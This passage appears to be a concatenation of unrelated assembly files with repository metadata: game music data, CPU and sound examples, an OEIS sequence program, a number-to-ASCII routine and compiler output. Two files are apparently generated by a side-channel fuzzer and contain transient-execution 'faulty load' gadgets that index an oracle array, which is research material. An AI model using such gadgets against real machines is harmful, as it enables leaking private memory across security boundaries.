2 note G_, 2 note F#, 4 note E_, 4 note G_, 4 note F#, 12 note D_, 4 note A_, 4 note __, 4 octave 6 note C_, 8 octave 5 note B_, 12 octave 6 note C#, 2 note D_, 2 note E_, 2 note __, 2 note D_, 2 note __, 2 note C#, 2 note __, 2 octave 5 note B_, 2 note __, 2 note A_, 10 note A_, 2 note B_, 2 octave 6 note C_, 2 note __, 2 octave 5 note B_, 2 note __, 2 note A_, 2 note __, 2 note F#, 2 note __, 2 note G_, 12 note G_, 2 note A_, 2 note A#, 6 note A_, 2 note __, 2 note G_, 2 note A#, 2 note __, 2 note A_, 14 note __, 4 note D_, 1 note __, 3 note D_, 8 note E_, 4 loopchannel 0, Music_ViridianCity_branch_f4246 Music_ViridianCity_branch_f42a2: octave 5 note A_, 2 note __, 2 note G_, 2 note __, 2 note F#, 2 note __, 6 note __, 2 note F#, 2 note G_, 2 note A_, 2 note __, 2 note A_, 2 note G_, 2 note F#, 2 note G_, 2 note E_, 2 octave 4 note B_, 2 note __, 4 note B_, 2 note __, 2 octave 5 note G_, 2 note __, 2 note D_, 2 note __, 2 octave 4 note B_, 1 note __, 1 note B_, 4 octave 5 note E_, 2 note F#, 2 note G_, 2 note __, 2 note F#, 2 note __, 2 note E_, 2 note __, 6 note __, 2 note E_, 2 note F#, 2 note G_, 2 note __, 2 note G_, 2 note F#, 2 note E_, 2 note F#, 2 note D_, 2 octave 4 note A_, 2 note __, 4 note A_, 2 note __, 2 octave 5 note D_, 1 note __, 1 note __, 4 note D_, 8 endchannel Music_ViridianCity_Ch4: togglenoise $3 notetype $c callchannel Music_ViridianCity_branch_f431d callchannel Music_ViridianCity_branch_f432c Music_ViridianCity_branch_f42e9: callchannel Music_ViridianCity_branch_f431d callchannel Music_ViridianCity_branch_f431d callchannel Music_ViridianCity_branch_f431d callchannel Music_ViridianCity_branch_f432c callchannel Music_ViridianCity_branch_f431d callchannel Music_ViridianCity_branch_f431d callchannel Music_ViridianCity_branch_f431d callchannel Music_ViridianCity_branch_f432c callchannel Music_ViridianCity_branch_f433b callchannel Music_ViridianCity_branch_f434b callchannel Music_ViridianCity_branch_f433b callchannel Music_ViridianCity_branch_f433b callchannel Music_ViridianCity_branch_f433b callchannel Music_ViridianCity_branch_f434b callchannel Music_ViridianCity_branch_f433b callchannel Music_ViridianCity_branch_f433b loopchannel 0, Music_ViridianCity_branch_f42e9 Music_ViridianCity_branch_f431d: note E_, 2 note E_, 2 note D_, 2 note E_, 4 note D_, 2 note E_, 2 note F#, 2 note E_, 2 note E_, 2 note D_, 4 note E_, 2 note D_, 2 note E_, 2 note F#, 2 endchannel Music_ViridianCity_branch_f432c: note E_, 2 note E_, 2 note D_, 2 note E_, 4 note D_, 2 note E_, 2 note F#, 2 note E_, 2 note E_, 2 note F#, 4 note D_, 2 note D_, 2 note A#, 2 note A#, 2 endchannel Music_ViridianCity_branch_f433b: note D#, 2 note F#, 2 note D_, 2 note D#, 2 note D#, 2 note F#, 2 note D_, 4 note D#, 2 note F#, 2 note D_, 2 note D#, 2 note D#, 2 note F#, 2 note D_, 2 note D#, 2 endchannel Music_ViridianCity_branch_f434b: note D#, 2 note F#, 2 note D_, 2 note D#, 2 note D#, 2 note F#, 2 note D_, 4 note D#, 2 note F#, 2 note D_, 2 note D#, 2 note D#, 2 note D_, 2 note D_, 2 note F#, 2 endchannel
13.818646
47
0.665157
6b9912f85e8d0198b970398d77dde9e7f2143ae9
1,487
asm
Assembly
OrgaSmall/examples/test.asm
fruitforce/microOrgaSmall
13f01aef75b100a3963b1e29c26109116c4607e0
[ "MIT" ]
1
2022-03-18T15:20:49.000Z
2022-03-18T15:20:49.000Z
OrgaSmall/examples/test.asm
fruitforce/microOrgaSmall
13f01aef75b100a3963b1e29c26109116c4607e0
[ "MIT" ]
null
null
null
OrgaSmall/examples/test.asm
fruitforce/microOrgaSmall
13f01aef75b100a3963b1e29c26109116c4607e0
[ "MIT" ]
1
2021-08-29T21:35:23.000Z
2021-08-29T21:35:23.000Z
JMP seguir ; |00| DB 0 ; |02| numero: DB 0 ; |03| DB 0 ; |04| otro: DB 0 ; |05| seguir: SET R0, 0xFF SET R1, 0x11 SET R2, 0x12 SET R3, 0xF0 ADD R0, R1 ; R0=0x10 c=1 ADC R0, R0 ; R0=0x21 c=0 SUB R2, R1 ; R2=0x01 AND R1, R0 ; R1=0x01 OR R3, R1 ; R3=0xF1 XOR R3, R1 ; R3=0xF0 CMP R1, R0 ; 0x01-0x21 N=1 C=1 MOV R1, R3 ; R1=0xF0 STR [numero], R0 ; [0x03] = 0x21 LOAD R1, [numero] ; R1 = 0x21 SET R4, otro ; R4=0x05 (otro) STR [R4], R0 ; [0x05] = 0x21 LOAD R3, [R4] ; R3 = 0x21 JC siguiente DB 0xFF ; nose ejecuta DB 0xFF ; nose ejecuta siguiente: JZ nosalta JN otrosiguiente DB 0xFF ; nose ejecuta DB 0xFF ; nose ejecuta otrosiguiente: INC R1 ; R1=0x22 DEC R3 ; R3=0x20 SHR R1,1 ; R1=0x11 SHL R3,2 ; R3=0x80 nosalta: halt: JMP halt ; ;SET R0, 4 ;SET R1, 2 ;ADD R1, R0 ; ;SET R0, 3 ;SET R1, 8 ;SUB R1, R0 ; ;SET R0, 2 ;SET R1, 6 ;CMP R1, R0 ; ; ;JMP comenzar ; ;numero: ;DB 0 ;DB 0 ;DB 0 ;DB 0 ;DB 0 ;DB 0 ;DB 0 ;DB 0 ;DB 0 ;DB 0 ; ;comenzar: ;SET R0, 0xAA ;STR [numero], R0 ; ; ; ;reinicio: ; ;SET R7, 0x0F ; ;MOV R7,R4 ; ;INC R7 ;INC R7 ; ;DEC R7 ;DEC R7 ; ;SET R2, 0xFF ;SET R4, 0x11 ;ADD R2, R4 ; ;SET R1, 0x23 ;SET R5, 0x11 ;SUB R1, R5 ; ;SET R1, 0xFF ;SET R6, 0x11 ;XOR R1, R6 ; ;CMP R1, R2 ;JZ seguir ; ;colgado: ;JMP colgado ;joder: ;seguir: ; ;SHR R1, 3 ;SHL R2, 3 ; ;SET R1, 0xAA ;SET R2, 0xBB ; ;STR [0xF1], R1 ;STR [0xF2], R2 ;LOAD R1, [0xF2] ;LOAD R2, [0xF1] ; ;JMP reinicio ;
10.184932
33
0.566913
6d06295c34e6f8647e82d10154480f1ee86044ec
236
asm
Assembly
libsrc/_DEVELOPMENT/sound/bit/z80/asm_bit_beepfx/_bfx_34.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/sound/bit/z80/asm_bit_beepfx/_bfx_34.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/sound/bit/z80/asm_bit_beepfx/_bfx_34.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; BeepFX sound effect by shiru ; http://shiru.untergrund.net SECTION rodata_clib SECTION rodata_sound_bit PUBLIC _bfx_34 _bfx_34: ; Switch_1 defb 2 ;noise defw 1,1000,4 defb 1 ;tone defw 1,1000,2000,0,128 defb 0
12.421053
30
0.70339
a1b80c02b071374f7048c122f27b90142605ed91
4,786
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1982.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1982.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1982.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r15 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_WC_ht+0x919b, %rdi nop nop nop sub %rsi, %rsi mov (%rdi), %eax nop cmp $50107, %r11 lea addresses_WC_ht+0x3baf, %rsi lea addresses_WT_ht+0x9855, %rdi nop nop nop nop nop and %r15, %r15 mov $22, %rcx rep movsl xor %rsi, %rsi lea addresses_WT_ht+0x13f53, %r11 nop nop xor %rax, %rax movb (%r11), %r15b nop nop nop nop inc %rsi lea addresses_A_ht+0x4c67, %r11 nop nop nop nop nop and %r9, %r9 movb $0x61, (%r11) nop nop nop nop cmp %rsi, %rsi pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r15 pop %r11 ret .global s_faulty_load s_faulty_load: push %r13 push %rax push %rcx push %rdi push %rdx // Faulty Load lea addresses_D+0x1763f, %rdx nop nop nop nop sub $27219, %rdi mov (%rdx), %cx lea oracles, %rdx and $0xff, %rcx shlq $12, %rcx mov (%rdx,%rcx,1), %rcx pop %rdx pop %rdi pop %rcx pop %rax pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
46.921569
2,999
0.659214
07c914aa7f185566852c9ad98188fcfff73f2e45
411
asm
Assembly
programs/oeis/091/A091627.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/091/A091627.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/091/A091627.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A091627: Number of ordered integer pairs (b,c) with 1 <= b,c <= n such that both roots of x^2+bx+c=0 are integers. ; 0,0,1,2,4,5,7,8,10,12,14,15,18,19,21,23,26,27,30,31,34,36,38,39,43,45,47,49,52,53,57,58,61,63,65,67,72,73,75,77,81,82,86,87,90,93,95,96,101,103,106,108,111,112,116,118,122,124,126,127,133,134,136,139,143 seq $0,132106 ; a(n) = 1 + floor(sqrt(n)) + Sum_{i=1..n} floor(n/i). sub $0,2 div $0,2
58.714286
205
0.647202
312818fa7c41871b4c7c02e6fd77aea24049a315
5,898
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_568.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_568.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_568.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r15 push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0xd4de, %rsi lea addresses_WT_ht+0xf07a, %rdi nop nop nop nop nop inc %r12 mov $98, %rcx rep movsl nop nop nop nop xor %r15, %r15 lea addresses_UC_ht+0x1b2de, %rdx nop nop nop nop xor %rcx, %rcx mov $0x6162636465666768, %rdi movq %rdi, (%rdx) nop nop nop nop nop add %rcx, %rcx lea addresses_A_ht+0x1d6de, %rcx nop nop nop nop nop cmp $272, %r13 mov $0x6162636465666768, %r15 movq %r15, (%rcx) nop nop nop nop nop and $18139, %r15 lea addresses_WT_ht+0xd126, %r13 nop nop nop sub $20294, %rcx mov $0x6162636465666768, %rdx movq %rdx, (%r13) nop nop add %r12, %r12 lea addresses_WT_ht+0x1d6de, %rdi nop nop nop nop dec %rcx movb $0x61, (%rdi) nop add $14990, %r12 lea addresses_WT_ht+0x1c0de, %rsi nop nop nop nop nop dec %rcx mov (%rsi), %r12d nop nop xor $52944, %rdx lea addresses_normal_ht+0x553e, %r15 nop nop inc %rdx movb $0x61, (%r15) nop nop nop nop nop cmp %rdx, %rdx lea addresses_A_ht+0x1b21a, %r12 nop nop nop nop dec %rsi vmovups (%r12), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $1, %xmm7, %r13 nop nop xor %r12, %r12 pop %rsi pop %rdx pop %rdi pop %rcx pop %r15 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r15 push %rax push %rcx push %rdx // Faulty Load lea addresses_WC+0xc0de, %rax and $24531, %rdx mov (%rax), %r12d lea oracles, %r13 and $0xff, %r12 shlq $12, %r12 mov (%r13,%r12,1), %r12 pop %rdx pop %rcx pop %rax pop %r15 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 6, 'NT': False, 'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}} {'src': {'same': True, 'congruent': 11, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}} {'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
37.09434
2,999
0.659715
77abfd043074e1b8fc4d5d09a9166083bea38779
982
asm
Assembly
programs/oeis/076/A076454.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/076/A076454.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/076/A076454.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A076454: Sum of numbers that can be written as t*n + u*(n+1) for nonnegative integers t,u in exactly one way. ; 1,21,102,310,735,1491,2716,4572,7245,10945,15906,22386,30667,41055,53880,69496,88281,110637,136990,167790,203511,244651,291732,345300,405925,474201,550746,636202,731235,836535,952816,1080816,1221297,1375045,1542870,1725606,1924111,2139267,2371980,2623180,2893821,3184881,3497362,3832290,4190715,4573711,4982376,5417832,5881225,6373725,6896526,7450846,8037927,8659035,9315460,10008516,10739541,11509897,12320970,13174170,14070931,15012711,16000992,17037280,18123105,19260021,20449606,21693462,22993215,24350515,25767036,27244476,28784557,30389025,32059650,33798226,35606571,37486527,39439960,41468760,43574841,45760141,48026622,50376270,52811095,55333131,57944436,60647092,63443205,66334905,69324346,72413706,75605187,78901015,82303440,85814736,89437201,93173157,97024950,100994950 add $0,1 mov $3,$0 pow $0,2 mov $2,$0 sub $2,1 add $3,$0 add $0,$2 mul $0,$3 div $0,2
75.538462
782
0.821792
f6aec4ec4fed96de03069cf840c0e2c4b2092b9e
1,534
asm
Assembly
bin2a.asm
pietroluongo/x86-calc
2dd394618507c8966dd683ee7cc2b47771e46cff
[ "MIT" ]
null
null
null
bin2a.asm
pietroluongo/x86-calc
2dd394618507c8966dd683ee7cc2b47771e46cff
[ "MIT" ]
null
null
null
bin2a.asm
pietroluongo/x86-calc
2dd394618507c8966dd683ee7cc2b47771e46cff
[ "MIT" ]
null
null
null
global _bin2ascii ; Função que converte um número binário em uma string ASCII ; retorno: null ; arg0: endereço do número a ser convertido ; arg1: destino da conversão ; Stack: ; 0x0000 = BP ; 0x0002 = Endereço de retorno ; 0x0004 = arg1 char* ; 0x0006 = arg0 int32_t* _bin2ascii: PUSH BP MOV BP,SP MOV AX, [BP+6] MOV DI, [BP+4] CMP AX, 10 JB unidade CMP AX, 100 JB dezena CMP AX, 1000 JB centena CMP AX, 10000 JB milhar dezMilhar: MOV DX, 0 MOV BX, 10000 DIV BX ADD AL, 30h MOV BYTE [DI], AL MOV AX, DX INC DI milhar: MOV DX, 0 MOV BX, 1000 DIV BX ADD AL, 30h MOV BYTE [DI], AL MOV AX, DX INC DI centena: MOV BL, 100 DIV BL ADD AL, 30h MOV BYTE [DI], AL MOV AL, AH AND AX, 0xFF INC DI dezena: MOV BL, 10 DIV BL ADD AL, 30h MOV BYTE [DI], AL MOV BYTE AL, AH AND AX, 0xFF INC DI unidade: ADD AL, 30h MOV BYTE [DI], AL MOV BYTE [DI+1], '$' POP BP RET 2
22.895522
59
0.384615
8641c409b36411750eae36c3c9352748bd42fbcf
50,295
asm
Assembly
PRACT0/SO1H/asm/s0.asm
so1h/SO1H
7163aa1907b7f7ab70ab022012036c4fa0482e17
[ "BSD-2-Clause" ]
null
null
null
PRACT0/SO1H/asm/s0.asm
so1h/SO1H
7163aa1907b7f7ab70ab022012036c4fa0482e17
[ "BSD-2-Clause" ]
null
null
null
PRACT0/SO1H/asm/s0.asm
so1h/SO1H
7163aa1907b7f7ab70ab022012036c4fa0482e17
[ "BSD-2-Clause" ]
null
null
null
bits 16 ; glb intptr_t : int ; glb uintptr_t : unsigned ; glb intmax_t : int ; glb uintmax_t : unsigned ; glb int8_t : signed char ; glb int_least8_t : signed char ; glb int_fast8_t : signed char ; glb uint8_t : unsigned char ; glb uint_least8_t : unsigned char ; glb uint_fast8_t : unsigned char ; glb int16_t : short ; glb int_least16_t : short ; glb int_fast16_t : short ; glb uint16_t : unsigned short ; glb uint_least16_t : unsigned short ; glb uint_fast16_t : unsigned short ; glb int32_t : int ; glb int_least32_t : int ; glb int_fast32_t : int ; glb uint32_t : unsigned ; glb uint_least32_t : unsigned ; glb uint_fast32_t : unsigned ; glb imaxdiv_t : struct <something> ; glb bool_t : int ; glb pointer_t : * unsigned char ; glb funcion_t : * ( ; prm <something> : * void ; ) * void ; glb manejador_t : * (void) void ; glb rti_t : * (void) void ; glb isr_t : * (void) void ; glb handler_t : * (void) void ; glb retardarThread_t : * (void) int ; glb ptrTVI_t : * * (void) void ; glb modoSO1_t : int ; glb lh_t : struct <something> ; glb address_t : struct <something> ; glb uPtrAdr_t : union <something> ; glb pid_t : int ; glb tid_t : int ; glb uid_t : int ; glb gid_t : int ; glb pindx_t : int ; glb tindx_t : int ; glb df_t : int ; glb dfs_t : int ; glb rindx_t : int ; glb startBin : (void) void ; glb modoSO1 : (void) int ; glb unidadBIOS : (void) unsigned char ; glb CS_SO1H : unsigned short ; glb RO_SO1H : unsigned short ; glb DS_SO1H : unsigned short ; glb BSS_SO1H : unsigned short ; glb SS_SO1H : unsigned short ; glb SS_Kernel : unsigned short ; glb IMRInicial : unsigned short ; glb obtenerMapa : (void) void ; glb HWLIST_t : unsigned short ; glb KBDFLAGS_t : unsigned short ; glb KBDSTATUS_t : unsigned short ; glb VIDEOCONTROL_t : unsigned char ; glb DRECSTATUS_t : unsigned char ; glb DMOTORSTATUS_t : unsigned char ; glb FDOPSTATUS_t : unsigned char ; glb VIDEOSWITCHES_t : unsigned char ; glb VGAOPTIONS_t : unsigned char ; glb VIDEOSAVETBL_t : struct <something> ; RPN'ized expression: "4 " ; Expanded expression: "4 " ; Expression value: 4 ; RPN'ized expression: "25 " ; Expanded expression: "25 " ; Expression value: 25 ; RPN'ized expression: "20 " ; Expanded expression: "20 " ; Expression value: 